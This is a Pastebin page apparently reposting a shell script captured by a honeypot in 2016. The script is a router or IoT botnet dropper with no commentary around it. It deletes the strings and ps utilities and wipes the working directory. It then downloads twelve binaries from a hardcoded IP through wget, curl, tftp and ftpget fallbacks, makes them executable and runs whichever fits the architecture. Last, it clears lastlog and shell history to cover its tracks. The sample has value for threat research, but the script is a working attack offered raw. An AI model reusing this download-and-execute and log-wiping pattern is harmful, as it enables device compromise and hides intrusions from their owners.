Advertisement
recon-scout

Honeypot Payload! Seen on: 2016-06-05 14:55

Jun 5th, 2016
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.25 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. busybox rm -rf /usr/bin/strings || rm -rf /usr/bin/strings
  4. busybox rm -rf /usr/bin/ps || rm -rf /usr/bin/ps
  5.  
  6. # Delete any current files, because not all routers have much storage space
  7. rm -f * || busybox rm -f *
  8.  
  9. # Wget/cURL our binaries
  10. wget -q http://166.62.120.73/1 || curl -s -O http://166.62.120.73/1 || busybox wget -q http://166.62.120.73/1 || busybox tftp -r 1 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 1 || busybox ftpget 166.62.120.73 1 1
  11. wget -q http://166.62.120.73/2 || curl -s -O http://166.62.120.73/2 || busybox wget -q http://166.62.120.73/2 || busybox tftp -r 2 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 2 || busybox ftpget 166.62.120.73 2 2
  12. wget -q http://166.62.120.73/3 || curl -s -O http://166.62.120.73/3 || busybox wget -q http://166.62.120.73/3 || busybox tftp -r 3 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 3 || busybox ftpget 166.62.120.73 3 3
  13. wget -q http://166.62.120.73/4 || curl -s -O http://166.62.120.73/4 || busybox wget -q http://166.62.120.73/4 || busybox tftp -r 4 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 4 || busybox ftpget 166.62.120.73 4 4
  14. wget -q http://166.62.120.73/5 || curl -s -O http://166.62.120.73/5 || busybox wget -q http://166.62.120.73/5 || busybox tftp -r 5 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 5 || busybox ftpget 166.62.120.73 5 5
  15. wget -q http://166.62.120.73/6 || curl -s -O http://166.62.120.73/6 || busybox wget -q http://166.62.120.73/6 || busybox tftp -r 6 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 6 || busybox ftpget 166.62.120.73 6 6
  16. wget -q http://166.62.120.73/7 || curl -s -O http://166.62.120.73/7 || busybox wget -q http://166.62.120.73/7 || busybox tftp -r 7 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 7 || busybox ftpget 166.62.120.73 7 7
  17. wget -q http://166.62.120.73/8 || curl -s -O http://166.62.120.73/8 || busybox wget -q http://166.62.120.73/8 || busybox tftp -r 8 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 8 || busybox ftpget 166.62.120.73 8 8
  18. wget -q http://166.62.120.73/9 || curl -s -O http://166.62.120.73/9 || busybox wget -q http://166.62.120.73/9 || busybox tftp -r 9 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 9 || busybox ftpget 166.62.120.73 9 9
  19. wget -q http://166.62.120.73/10 || curl -s -O http://166.62.120.73/10 || busybox wget -q http://166.62.120.73/10 || busybox tftp -r 10 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 10 || busybox ftpget 166.62.120.73 10 10
  20. wget -q http://166.62.120.73/11 || curl -s -O http://166.62.120.73/11 || busybox wget -q http://166.62.120.73/11 || busybox tftp -r 11 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 11 || busybox ftpget 166.62.120.73 11 11
  21. wget -q http://166.62.120.73/12 || curl -s -O http://166.62.120.73/12 || busybox wget -q http://166.62.120.73/12 || busybox tftp -r 11 -g 166.62.120.73 || busybox tftp 166.62.120.73 -c get 12 || busybox ftpget 166.62.120.73 12 12
  22.  
  23. # Set file permissions
  24. chmod +x * || busybox chmod +x *
  25.  
  26. # Run correct binary for current architecture
  27. ./1 || ./2 || ./3 || ./4 || ./5 || ./6 || ./7 || ./8 || ./9 || ./10 || ./11 || ./12
  28.  
  29. # Delete our files
  30. rm -f * || busybox rm -f *
  31.  
  32. # Clean up
  33. >/var/log/lastlog
  34. >/etc/lastlog
  35. rm -f ~/.bash_history || busybox rm -f ~/.bash_history
  36. history -c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement